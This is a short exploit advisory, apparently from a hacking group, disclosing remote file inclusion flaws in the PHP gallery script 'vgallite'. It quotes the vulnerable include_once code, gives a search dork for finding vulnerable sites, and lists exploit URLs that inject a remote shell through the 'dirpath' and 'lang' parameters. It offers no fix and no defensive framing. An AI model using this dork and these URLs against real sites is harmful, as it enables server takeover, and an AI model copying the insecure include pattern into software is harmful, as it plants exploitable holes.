Discovred By : Hasadya Raed ---------------------------- Contact : RaeD (at) BsdMail (dot) Com [email concealed] , Hacker_Web (at) W (dot) Cn [email concealed] , Gunman_Pump (at) Hotmail (dot) Com [email concealed] ---------------------------- Greetz : Jonathan , Muts ---------------------------- Script: ALL vgallite ---------------------------- Dork: "vgallite" ---------------------------- B.File: _functions.php index.php ---------------------------- Vuln code: if(ereg($key,$filename)) include_once("$dirpath/$filename"); Vuln code: include_once("lang/".((isset($language))?$language:"english").".php"); ---------------------------- Exploit: Http://www.Victim.com/vgallite/_functions.php?dirpath=[Shell-Attack] Http://www.Victim.com/vgallite/index.php?lang=[Shell-Attack] ---------------------------- <----!Team Hackers Israel----!>